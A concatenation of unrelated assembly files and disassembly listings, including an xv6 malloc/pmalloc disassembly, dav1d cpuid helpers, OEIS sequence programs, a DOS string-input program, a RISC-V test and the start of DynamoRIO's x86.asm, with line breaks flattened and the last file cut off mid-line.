%esi,(%esp) 780: e8 95 fc ff ff call 41a <sbrk> if(p == (char*)-1) 785: 83 c4 10 add $0x10,%esp 788: 83 f8 ff cmp $0xffffffff,%eax 78b: 74 33 je 7c0 <morecore+0x70> return 0; hp = (Header*)p; hp->s.size = nu; 78d: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 790: 83 ec 0c sub $0xc,%esp 793: 83 c0 08 add $0x8,%eax 796: 50 push %eax 797: e8 24 ff ff ff call 6c0 <free> return freep; 79c: a1 ec 0e 00 00 mov 0xeec,%eax 7a1: 83 c4 10 add $0x10,%esp } 7a4: 8d 65 f8 lea -0x8(%ebp),%esp 7a7: 5b pop %ebx 7a8: 5e pop %esi 7a9: 5d pop %ebp 7aa: c3 ret 7ab: 90 nop 7ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 7b0: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 7b7: eb b4 jmp 76d <morecore+0x1d> 7b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 7c0: 31 c0 xor %eax,%eax 7c2: eb e0 jmp 7a4 <morecore+0x54> 7c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 7ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000007d0 <malloc>: void* malloc(uint nbytes) { 7d0: 55 push %ebp 7d1: 89 e5 mov %esp,%ebp 7d3: 57 push %edi 7d4: 56 push %esi 7d5: 53 push %ebx 7d6: 83 ec 10 sub $0x10,%esp 7d9: 8b 75 08 mov 0x8(%ebp),%esi Header *p, *prevp; uint nunits; printf(1, "nbytes:%d\n",nbytes); 7dc: 56 push %esi 7dd: 68 00 0b 00 00 push $0xb00 nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7e2: 83 c6 07 add $0x7,%esi printf(1, "nbytes:%d\n",nbytes); 7e5: 6a 01 push $0x1 nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7e7: c1 ee 03 shr $0x3,%esi 7ea: 83 c6 01 add $0x1,%esi printf(1, "nbytes:%d\n",nbytes); 7ed: e8 fe fc ff ff call 4f0 <printf> if((prevp = freep) == 0){ 7f2: 8b 3d ec 0e 00 00 mov 0xeec,%edi 7f8: 83 c4 10 add $0x10,%esp 7fb: 85 ff test %edi,%edi 7fd: 0f 84 d5 00 00 00 je 8d8 <malloc+0x108> 803: 8b 1f mov (%edi),%ebx 805: 8b 53 04 mov 0x4(%ebx),%edx 808: eb 0f jmp 819 <malloc+0x49> 80a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printf(1,"prevp = freep == 0\n"); base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 810: 8b 03 mov (%ebx),%eax printf(1,"inside loop p->s.size = %d\n",p->s.size); 812: 89 df mov %ebx,%edi 814: 8b 50 04 mov 0x4(%eax),%edx 817: 89 c3 mov %eax,%ebx 819: 83 ec 04 sub $0x4,%esp 81c: 52 push %edx 81d: 68 1f 0b 00 00 push $0xb1f 822: 6a 01 push $0x1 824: e8 c7 fc ff ff call 4f0 <printf> if(p->s.size >= nunits){ 829: 8b 43 04 mov 0x4(%ebx),%eax 82c: 83 c4 10 add $0x10,%esp 82f: 39 f0 cmp %esi,%eax 831: 73 3d jae 870 <malloc+0xa0> } printf(1,"returning p+1\n"); freep = prevp; return (void*)(p + 1); } if(p == freep){ 833: 39 1d ec 0e 00 00 cmp %ebx,0xeec 839: 75 d5 jne 810 <malloc+0x40> printf(1, "calling morecore: 0x%x\n", p); 83b: 83 ec 04 sub $0x4,%esp 83e: 53 push %ebx 83f: 68 83 0b 00 00 push $0xb83 844: 6a 01 push $0x1 846: e8 a5 fc ff ff call 4f0 <printf> if((p = morecore(nunits,0)) == 0) 84b: 31 d2 xor %edx,%edx 84d: 89 f0 mov %esi,%eax 84f: e8 fc fe ff ff call 750 <morecore> 854: 83 c4 10 add $0x10,%esp 857: 85 c0 test %eax,%eax 859: 89 c3 mov %eax,%ebx 85b: 75 b3 jne 810 <malloc+0x40> return 0; }} } 85d: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 860: 31 c0 xor %eax,%eax } 862: 5b pop %ebx 863: 5e pop %esi 864: 5f pop %edi 865: 5d pop %ebp 866: c3 ret 867: 89 f6 mov %esi,%esi 869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(p->s.size == nunits){ 870: 74 46 je 8b8 <malloc+0xe8> printf(1,"p->s.size (%d) =! nunits(%d)\n",p->s.size,nunits); 872: 56 push %esi 873: 50 push %eax 874: 68 56 0b 00 00 push $0xb56 879: 6a 01 push $0x1 87b: e8 70 fc ff ff call 4f0 <printf> p->s.size -= nunits; 880: 8b 43 04 mov 0x4(%ebx),%eax p->s.size = nunits; 883: 83 c4 10 add $0x10,%esp p->s.size -= nunits; 886: 29 f0 sub %esi,%eax 888: 89 43 04 mov %eax,0x4(%ebx) p += p->s.size; 88b: 8d 1c c3 lea (%ebx,%eax,8),%ebx p->s.size = nunits; 88e: 89 73 04 mov %esi,0x4(%ebx) printf(1,"returning p+1\n"); 891: 83 ec 08 sub $0x8,%esp 894: 68 74 0b 00 00 push $0xb74 899: 6a 01 push $0x1 89b: e8 50 fc ff ff call 4f0 <printf> freep = prevp; 8a0: 89 3d ec 0e 00 00 mov %edi,0xeec return (void*)(p + 1); 8a6: 83 c4 10 add $0x10,%esp } 8a9: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 8ac: 8d 43 08 lea 0x8(%ebx),%eax } 8af: 5b pop %ebx 8b0: 5e pop %esi 8b1: 5f pop %edi 8b2: 5d pop %ebp 8b3: c3 ret 8b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1,"p->s.size == nunits == %d\n",nunits); 8b8: 83 ec 04 sub $0x4,%esp 8bb: 56 push %esi 8bc: 68 3b 0b 00 00 push $0xb3b 8c1: 6a 01 push $0x1 8c3: e8 28 fc ff ff call 4f0 <printf> prevp->s.ptr = p->s.ptr;} 8c8: 8b 03 mov (%ebx),%eax 8ca: 83 c4 10 add $0x10,%esp 8cd: 89 07 mov %eax,(%edi) 8cf: eb c0 jmp 891 <malloc+0xc1> 8d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printf(1,"prevp = freep == 0\n"); 8d8: 83 ec 08 sub $0x8,%esp base.s.size = 0; 8db: bb f0 0e 00 00 mov $0xef0,%ebx printf(1,"prevp = freep == 0\n"); 8e0: 68 0b 0b 00 00 push $0xb0b 8e5: 6a 01 push $0x1 base.s.ptr = freep = prevp = &base; 8e7: 89 df mov %ebx,%edi printf(1,"prevp = freep == 0\n"); 8e9: e8 02 fc ff ff call 4f0 <printf> base.s.ptr = freep = prevp = &base; 8ee: c7 05 ec 0e 00 00 f0 movl $0xef0,0xeec 8f5: 0e 00 00 8f8: c7 05 f0 0e 00 00 f0 movl $0xef0,0xef0 8ff: 0e 00 00 base.s.size = 0; 902: 83 c4 10 add $0x10,%esp 905: c7 05 f4 0e 00 00 00 movl $0x0,0xef4 90c: 00 00 00 90f: 31 d2 xor %edx,%edx 911: e9 03 ff ff ff jmp 819 <malloc+0x49> 916: 8d 76 00 lea 0x0(%esi),%esi 919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000920 <pmalloc>: void * pmalloc(void) { Header *p, *prevp; uint nunits = 512; uint page_size = (4096 / 8) ; if ((prevp = freep) == 0) { 920: 8b 0d ec 0e 00 00 mov 0xeec,%ecx pmalloc(void) { 926: 55 push %ebp 927: 89 e5 mov %esp,%ebp 929: 56 push %esi 92a: 53 push %ebx if ((prevp = freep) == 0) { 92b: 85 c9 test %ecx,%ecx 92d: 0f 84 95 00 00 00 je 9c8 <pmalloc+0xa8> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 933: 8b 19 mov (%ecx),%ebx if (p->s.size >= ((4096 / 8)*2)) { 935: 8b 53 04 mov 0x4(%ebx),%edx 938: 81 fa ff 03 00 00 cmp $0x3ff,%edx 93e: 76 1d jbe 95d <pmalloc+0x3d> 940: eb 3f jmp 981 <pmalloc+0x61> 942: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 948: 8b 03 mov (%ebx),%eax if (p->s.size >= ((4096 / 8)*2)) { 94a: 8b 50 04 mov 0x4(%eax),%edx 94d: 81 fa ff 03 00 00 cmp $0x3ff,%edx 953: 77 30 ja 985 <pmalloc+0x65> 955: 8b 0d ec 0e 00 00 mov 0xeec,%ecx 95b: 89 c3 mov %eax,%ebx freep = prevp; return (void *) (p + 1); } if (p == freep) { 95d: 39 cb cmp %ecx,%ebx 95f: 75 e7 jne 948 <pmalloc+0x28> if ((p = morecore(nunits, 1)) == 0) { 961: ba 01 00 00 00 mov $0x1,%edx 966: b8 00 02 00 00 mov $0x200,%eax 96b: e8 e0 fd ff ff call 750 <morecore> 970: 85 c0 test %eax,%eax 972: 89 c3 mov %eax,%ebx 974: 75 d2 jne 948 <pmalloc+0x28> return 0; } } } } 976: 8d 65 f8 lea -0x8(%ebp),%esp return 0; 979: 31 f6 xor %esi,%esi } 97b: 89 f0 mov %esi,%eax 97d: 5b pop %ebx 97e: 5e pop %esi 97f: 5d pop %ebp 980: c3 ret if (p->s.size >= ((4096 / 8)*2)) { 981: 89 d8 mov %ebx,%eax 983: 89 cb mov %ecx,%ebx p->s.size = (p->s.size / page_size -1 ) * page_size -1; 985: 81 e2 00 fe ff ff and $0xfffffe00,%edx set_flag((uint) (p + 1), PTE_1, 1); 98b: 83 ec 04 sub $0x4,%esp p->s.size = (p->s.size / page_size -1 ) * page_size -1; 98e: 81 ea 01 02 00 00 sub $0x201,%edx p += p->s.size; 994: 8d 34 d0 lea (%eax,%edx,8),%esi p->s.size = (p->s.size / page_size -1 ) * page_size -1; 997: 89 50 04 mov %edx,0x4(%eax) set_flag((uint) (p + 1), PTE_1, 1); 99a: 83 c6 08 add $0x8,%esi p->s.size = nunits; 99d: c7 46 fc 00 02 00 00 movl $0x200,-0x4(%esi) set_flag((uint) (p + 1), PTE_1, 1); 9a4: 6a 01 push $0x1 9a6: 68 00 04 00 00 push $0x400 9ab: 56 push %esi 9ac: e8 89 fa ff ff call 43a <set_flag> freep = prevp; 9b1: 89 1d ec 0e 00 00 mov %ebx,0xeec return (void *) (p + 1); 9b7: 83 c4 10 add $0x10,%esp } 9ba: 8d 65 f8 lea -0x8(%ebp),%esp 9bd: 89 f0 mov %esi,%eax 9bf: 5b pop %ebx 9c0: 5e pop %esi 9c1: 5d pop %ebp 9c2: c3 ret 9c3: 90 nop 9c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.size = 0; 9c8: b9 f0 0e 00 00 mov $0xef0,%ecx base.s.ptr = freep = prevp = &base; 9cd: c7 05 ec 0e 00 00 f0 movl $0xef0,0xeec 9d4: 0e 00 00 9d7: c7 05 f0 0e 00 00 f0 movl $0xef0,0xef0 9de: 0e 00 00 base.s.size = 0; 9e1: c7 05 f4 0e 00 00 00 movl $0x0,0xef4 9e8: 00 00 00 for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 9eb: 89 cb mov %ecx,%ebx 9ed: e9 6b ff ff ff jmp 95d <pmalloc+0x3d> 9f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 9f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000a00 <protect_page>: // update_protected_pages(1); // set_flag((uint) ap, PTE_W, 0); // return 1;} int protect_page(void* ap){ a00: 55 push %ebp a01: 89 e5 mov %esp,%ebp a03: 53 push %ebx a04: 83 ec 04 sub $0x4,%esp a07: 8b 5d 08 mov 0x8(%ebp),%ebx if((int)(ap-8) % PGSIZE != 0){ a0a: 8d 43 f8 lea -0x8(%ebx),%eax a0d: a9 ff 0f 00 00 test $0xfff,%eax a12: 75 3c jne a50 <protect_page+0x50> return -1; } int flags = get_flags((uint)ap); a14: 83 ec 0c sub $0xc,%esp a17: 53 push %ebx a18: e8 15 fa ff ff call 432 <get_flags> if (flags & PTE_1) { a1d: 83 c4 10 add $0x10,%esp a20: f6 c4 04 test $0x4,%ah a23: 74 2b je a50 <protect_page+0x50> set_flag((uint) ap, PTE_W, 0); a25: 83 ec 04 sub $0x4,%esp a28: 6a 00 push $0x0 a2a: 6a 02 push $0x2 a2c: 53 push %ebx a2d: e8 08 fa ff ff call 43a <set_flag> update_protected_pages(1); a32: c7 04 24 01 00 00 00 movl $0x1,(%esp) a39: e8 04 fa ff ff call 442 <update_protected_pages> return 1; a3e: 83 c4 10 add $0x10,%esp a41: b8 01 00 00 00 mov $0x1,%eax } return -1; } a46: 8b 5d fc mov -0x4(%ebp),%ebx a49: c9 leave a4a: c3 ret a4b: 90 nop a4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; a50: b8 ff ff ff ff mov $0xffffffff,%eax a55: eb ef jmp a46 <protect_page+0x46> a57: 89 f6 mov %esi,%esi a59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000a60 <pfree>: int pfree(void *ap){ a60: 55 push %ebp a61: 89 e5 mov %esp,%ebp a63: 53 push %ebx a64: 83 ec 10 sub $0x10,%esp a67: 8b 5d 08 mov 0x8(%ebp),%ebx int flags = get_flags((uint) ap); a6a: 53 push %ebx a6b: e8 c2 f9 ff ff call 432 <get_flags> if (!(flags & PTE_W)) set_flag((uint) ap, PTE_W, 1); a70: 83 c4 10 add $0x10,%esp a73: a8 02 test $0x2,%al a75: 75 31 jne aa8 <pfree+0x48> a77: 83 ec 04 sub $0x4,%esp a7a: 6a 01 push $0x1 a7c: 6a 02 push $0x2 a7e: 53 push %ebx a7f: e8 b6 f9 ff ff call 43a <set_flag> else return -1; free(ap); a84: 89 1c 24 mov %ebx,(%esp) a87: e8 34 fc ff ff call 6c0 <free> update_protected_pages(0); a8c: c7 04 24 00 00 00 00 movl $0x0,(%esp) a93: e8 aa f9 ff ff call 442 <update_protected_pages> return 1; a98: 83 c4 10 add $0x10,%esp a9b: b8 01 00 00 00 mov $0x1,%eax aa0: 8b 5d fc mov -0x4(%ebp),%ebx aa3: c9 leave aa4: c3 ret aa5: 8d 76 00 lea 0x0(%esi),%esi return -1; aa8: b8 ff ff ff ff mov $0xffffffff,%eax aad: eb f1 jmp aa0 <pfree+0x40>
section .text extern gui_main global _main _main: jmp gui_main
; Copyright © 2018, VideoLAN and dav1d authors ; Copyright © 2018, Two Orioles, LLC ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. %include "ext/x86/x86inc.asm" SECTION .text cglobal cpu_cpuid, 0, 5, 0, regs, leaf, subleaf mov r4, regsmp mov eax, leafm mov ecx, subleafm %if ARCH_X86_64 mov r5, rbx %endif cpuid mov [r4+4*0], eax mov [r4+4*1], ebx mov [r4+4*2], ecx mov [r4+4*3], edx %if ARCH_X86_64 mov rbx, r5 %endif RET cglobal cpu_xgetbv, 0, 0, 0, xcr movifnidn ecx, xcrm xgetbv %if ARCH_X86_64 shl rdx, 32 or rax, rdx %endif RET
; A063166: Dimension of the space of weight 2n cusp forms for Gamma_0( 98 ). ; 7,34,62,90,118,146,174,202,230,258,286,314,342,370,398,426,454,482,510,538,566,594,622,650,678,706,734,762,790,818,846,874,902,930,958,986,1014,1042,1070,1098,1126,1154,1182,1210,1238,1266,1294,1322,1350,1378 mov $1,$0 mul $1,28 trn $1,1 add $1,7
; multi-segment executable file template. data segment ; add your data here! pkey db 10, 13, "press any key...$" message db 10, 13, "Result : $" string db 30 dup("$") ends stack segment dw 128 dup(0) ends code segment start: ; set segment registers: mov ax, data mov ds, ax mov es, ax ; add your code here mov cx,1 mov si,0 for1: cmp cx, 20 jg endfor1 mov ah, 1h int 21h mov string[si], al inc si inc cx jmp for1 endfor1: lea dx, message mov ah, 9 int 21h lea dx, string mov ah, 9 int 21h lea dx, pkey mov ah, 9 int 21h ; output string at ds:dx ; wait for any key.... mov ah, 1 int 21h mov ax, 4c00h ; exit to operating system. int 21h ends end start ; set entry point and stop the assembler.
; A190974: a(n) = 7*a(n-1) - 5*a(n-2), with a(0)=0, a(1)=1. ; 0,1,7,44,273,1691,10472,64849,401583,2486836,15399937,95365379,590557968,3657078881,22646762327,140241941884,868459781553,5378008761451,33303762422392,206236293149489,1277135239934463,7908765213793796,48975680296884257 mov $2,$0 mov $3,1 lpb $2,1 add $4,$3 mov $1,$4 sub $2,1 add $3,$4 mul $4,5 lpe
; A021536: Decimal expansion of 1/532. ; 0,0,1,8,7,9,6,9,9,2,4,8,1,2,0,3,0,0,7,5,1,8,7,9,6,9,9,2,4,8,1,2,0,3,0,0,7,5,1,8,7,9,6,9,9,2,4,8,1,2,0,3,0,0,7,5,1,8,7,9,6,9,9,2,4,8,1,2,0,3,0,0,7,5,1,8,7,9,6,9,9,2,4,8,1,2,0,3,0,0,7,5,1,8,7,9,6,9,9 add $0,1 mov $1,10 pow $1,$0 sub $1,6 mul $1,6 div $1,14 add $1,4 div $1,228 mod $1,10 mov $0,$1
# Build commands: # as simulator_test1.s -o simulator_test1.o && objdump -d simulator_test1.o # objcopy -O binary simulator_test1.o simulator_test1.bin # xxd -e simulator_test1.bin # TODO: Emit and consume hex file # Add up the numbers from 1 to 10 (the answer is 45, or 0x2d) .text _start: addi s0, zero, 1 addi s0, s0, 2 addi s0, s0, 3 addi s0, s0, 4 addi s0, s0, 5 addi s0, s0, 6 addi s0, s0, 7 addi s0, s0, 8 addi s0, s0, 9 add a0, s0, zero ecall jal ra, _start
/* ********************************************************** * Copyright (c) 2011-2020 Google, Inc. All rights reserved. * Copyright (c) 2001-2010 VMware, Inc. All rights reserved. * ********************************************************** */ /* * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of VMware, Inc. nor the names of its contributors may be * used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL VMWARE, INC. OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH * DAMAGE. */ /* Copyright (c) 2003-2007 Determina Corp. */ /* Copyright (c) 2001-2003 Massachusetts Institute of Technology */ /* Copyright (c) 2001 Hewlett-Packard Company */ /* * x86.asm - x86 specific assembly and trampoline code * * This file is used for both linux and windows. * We used to use the gnu assembler on both platforms, but * gas does not support 64-bit windows. * Thus we now use masm on windows and gas with the new intel-syntax-specifying * options so that our code here only needs a minimum of macros to * work on both. * * Note that for gas on cygwin we used to need to prepend _ to global * symbols: we don't need that for linux gas or masm so we don't do it anymore. */ /* We handle different registers and calling conventions with a CPP pass. * It can be difficult to choose registers that work across all ABI's we're * trying to support: we need to move each ARG into a register in case * it is passed in memory, but we have to pick registers that don't already * hold other arguments. Typically, use this order: * REG_XAX, REG_XBX, REG_XDI, REG_XSI, REG_XDX, REG_XCX * The suggested order for 3 parameters is: * REG_XAX = ARG1, REG_XCX = ARG3, REG_XDX = ARG2 * The suggested order for 2 parameters is: * REG_XAX = ARG2, REG_XDX = ARG1 * Note that REG_XBX is by convention used on linux for PIC base: if we want * to try and avoid relocations (case 7852) we should avoid using it * to avoid confusion (though we can always pick a different register, * even varying by function). * FIXME: should we use virtual registers instead? * FIXME: should we have ARG1_IN_REG macro that is either nop or load from stack? * For now not bothering, but if we add more routines we'll want more support. * Naturally the ARG* macros are only valid at function entry. */ #include "../asm_defines.asm" START_FILE #ifdef UNIX # include "os_asm_defines.asm" # ifdef LINUX # include "include/syscall.h" # else # include "include/syscall_mach.h" # include <sys/syscall.h> # endif #endif #define RESTORE_FROM_DCONTEXT_VIA_REG(reg,offs,dest) mov dest, PTRSZ [offs + reg] #define SAVE_TO_DCONTEXT_VIA_REG(reg,offs,src) mov PTRSZ [offs + reg], src /* For the few remaining dcontext_t offsets we need here: */ #if defined(WINDOWS) && !defined(X64) # define UPCXT_BEFORE_INLINE_SLOTS 4 /* at_syscall + padding */ #else # define UPCXT_BEFORE_INLINE_SLOTS 8 /* IF_UNIX(errno +) at_syscall + padding */ #endif /* Count the slots for client clean call inlining. */ #ifdef CLIENT_INTERFACE /* Add CLEANCALL_NUM_INLINE_SLOTS(5) * ARG_SZ for these slots. No padding. */ # define UPCXT_EXTRA (UPCXT_BEFORE_INLINE_SLOTS + 5 * ARG_SZ) #else # define UPCXT_EXTRA UPCXT_BEFORE_INLINE_SLOTS #endif /* XXX: duplicated in os_exports.h */ #ifdef X64 # define TOP_STACK_TIB_OFFSET 8 # define BASE_STACK_TIB_OFFSET 16 #else # define TOP_STACK_TIB_OFFSET 4 # define BASE_STACK_TIB_OFFSET 8 #endif /* Upper bound is all we need */ #define DYNAMORIO_STACK_SIZE_UPPER_BOUND 128*1024 /* Should we generate all of our asm code instead of having it static? * As it is we're duplicating insert_push_all_registers(), dr_insert_call(), etc., * but it's not that much code here in these macros, and this is simpler * than emit_utils.c-style code. */ #include "x86_asm_defines.asm" /* PUSHGPR, POPGPR, etc. */ /* Pushes a priv_mcontext_t on the stack, with an xsp value equal to the * xsp before the pushing. Clobbers xax! * Does fill in xmm0-5, if necessary, for PR 264138. * Assumes that DR has been initialized (get_simd_vals() checks proc feature bits). * Caller should ensure 16-byte stack alignment prior to the push (PR 306421). */ #define PUSH_PRIV_MCXT(pc) \ lea REG_XSP, [REG_XSP + PUSH_PRIV_MCXT_PRE_PC_SHIFT] @N@\ push pc @N@\ PUSHF @N@\ PUSHGPR @N@\ lea REG_XAX, [REG_XSP] @N@\ CALLC1(GLOBAL_REF(get_simd_vals), REG_XAX) @N@\ lea REG_XAX, [PRIV_MCXT_SIZE + REG_XSP] @N@\ mov [PUSHGPR_XSP_OFFS + REG_XSP], REG_XAX /* Pops the GPRs and flags from a priv_mcontext off the stack. Does not * restore xmm/ymm regs. */ #define POP_PRIV_MCXT_GPRS() \ POPGPR @N@\ POPF @N@\ lea REG_XSP, [REG_XSP - PUSH_PRIV_MCXT_PRE_PC_SHIFT + ARG_SZ/*pc*/] /****************************************************************************/ /****************************************************************************/ DECL_EXTERN(unexpected_return) DECL_EXTERN(get_own_context_integer_control) DECL_EXTERN(get_simd_vals) DECL_EXTERN(auto_setup) DECL_EXTERN(return_from_native) DECL_EXTERN(native_module_callout) DECL_EXTERN(d_r_dispatch) #ifdef DR_APP_EXPORTS DECL_EXTERN(dr_app_start_helper) #endif DECL_EXTERN(dynamo_process_exit) DECL_EXTERN(dynamo_thread_exit) DECL_EXTERN(dynamo_thread_stack_free_and_exit) DECL_EXTERN(dynamorio_app_take_over_helper) DECL_EXTERN(found_modified_code) DECL_EXTERN(get_cleanup_and_terminate_global_do_syscall_entry) #ifdef INTERNAL DECL_EXTERN(d_r_internal_error) #endif DECL_EXTERN(internal_exception_info) DECL_EXTERN(is_currently_on_dstack) DECL_EXTERN(nt_continue_setup) #if defined(UNIX) DECL_EXTERN(master_signal_handler_C) #endif #ifdef MACOS DECL_EXTERN(new_bsdthread_setup) #endif DECL_EXTERN(hashlookup_null_target) #if defined(UNIX) && !defined(HAVE_SIGALTSTACK) DECL_EXTERN(sig_should_swap_stack) DECL_EXTERN(fixup_rtframe_pointers) # define CLONE_AND_SWAP_STRUCT_SIZE 2*ARG_SZ #endif #ifdef UNIX DECL_EXTERN(dr_setjmp_sigmask) DECL_EXTERN(privload_early_inject) DECL_EXTERN(relocate_dynamorio) DECL_EXTERN(dynamorio_dl_fixup) #endif #ifdef WINDOWS DECL_EXTERN(dynamorio_earliest_init_takeover_C) DECL_EXTERN(os_terminate_wow64_stack) #endif /* non-functions: these make us non-PIC! (PR 212290) */ DECL_EXTERN(exiting_thread_count) DECL_EXTERN(d_r_initstack) DECL_EXTERN(initstack_mutex) DECL_EXTERN(int_syscall_address) DECL_EXTERN(syscalls) DECL_EXTERN(sysenter_ret_address) DECL_EXTERN(sysenter_tls_offset) #ifdef WINDOWS DECL_EXTERN(wow64_index) # ifdef X64 DECL_EXTERN(syscall_argsz) # endif DECL_EXTERN(load_dynamo_failure) #endif #ifdef WINDOWS /* dynamo_auto_start: used for non-early follow children. * Assumptions: The saved priv_mcontext_t for the start of the app is on * the stack, followed by a pointer to a region of memory to free * (which can be NULL) and its size. This routine is reached by a jmp * so be aware of that for address calculation. This routine does * not return. * * On win32, note that in order to export this from the dynamo dll, which is * required for non early follow children, we have to explicitly tell the * linker to do so. This is done in the Makefile. * Note that if it weren't for wanting local go-native code we would have * auto_setup in x86_code.c be dynamo_auto_start. */ DECLARE_FUNC(dynamo_auto_start) GLOBAL_LABEL(dynamo_auto_start:) /* we pass a pointer to TOS as a parameter. * a param in xsp won't work w/ win64 padding so put in xax */ mov REG_XAX, REG_XSP CALLC1(GLOBAL_REF(auto_setup), REG_XAX) /* if auto_setup returns, we need to go native */ jmp load_dynamo_failure END_FUNC(dynamo_auto_start) #endif #ifdef UNIX /* We avoid performance problems with messing up the RSB by using * a separate routine. The caller needs to use a plain call * with _GLOBAL_OFFSET_TABLE_ on the exact return address instruction. */ DECLARE_FUNC(get_pic_xdi) GLOBAL_LABEL(get_pic_xdi:) mov REG_XDI, PTRSZ [REG_XSP] ret END_FUNC(get_pic_xdi) #endif /* void call_switch_stack(void *func_arg, // 1*ARG_SZ+XAX * byte *stack, // 2*ARG_SZ+XAX * void (*func)(void *arg), // 3*ARG_SZ+XAX * void *mutex_to_free, // 4*ARG_SZ+XAX * bool return_on_return) // 5*ARG_SZ+XAX */ DECLARE_FUNC(call_switch_stack) GLOBAL_LABEL(call_switch_stack:) /* get all args with same offset(xax) regardless of plaform */ #ifdef X64 # ifdef WINDOWS mov REG_XAX, REG_XSP /* stack alignment doesn't really matter (b/c we're swapping) but in case * we add a call we keep this here */ lea REG_XSP, [-ARG_SZ + REG_XSP] /* maintain align-16: offset retaddr */ # else /* no padding so we make our own space. odd #slots keeps align-16 w/ retaddr */ lea REG_XSP, [-5*ARG_SZ + REG_XSP] /* xax points one beyond TOS to get same offset as having retaddr there */ lea REG_XAX, [-ARG_SZ + REG_XSP] mov [5*ARG_SZ + REG_XAX], ARG5 # endif mov [1*ARG_SZ + REG_XAX], ARG1 mov [2*ARG_SZ + REG_XAX], ARG2 mov [3*ARG_SZ + REG_XAX], ARG3 mov [4*ARG_SZ + REG_XAX], ARG4 #else /* Stack alignment doesn't matter b/c we're swapping. */ mov REG_XAX, REG_XSP #endif /* we need a callee-saved reg across our call so save it onto stack */ push REG_XBX mov REG_XBX, REG_XAX /* alignment doesn't matter: swapping stacks */ push IF_X64_ELSE(r12, REG_XDI) /* xdi is used for func param in X64 */ mov IF_X64_ELSE(r12, REG_XDI), REG_XSP /* set up for call */ mov REG_XDX, [3*ARG_SZ + REG_XAX] /* func */ mov REG_XCX, [1*ARG_SZ + REG_XAX] /* func_arg */ mov REG_XSP, [2*ARG_SZ + REG_XAX] /* stack */ cmp PTRSZ [4*ARG_SZ + REG_XAX], 0 /* mutex_to_free */ je call_dispatch_alt_stack_no_free mov REG_XAX, [4*ARG_SZ + REG_XAX] mov DWORD [REG_XAX], 0 call_dispatch_alt_stack_no_free: CALLC1(REG_XDX, REG_XCX) mov REG_XSP, IF_X64_ELSE(r12, 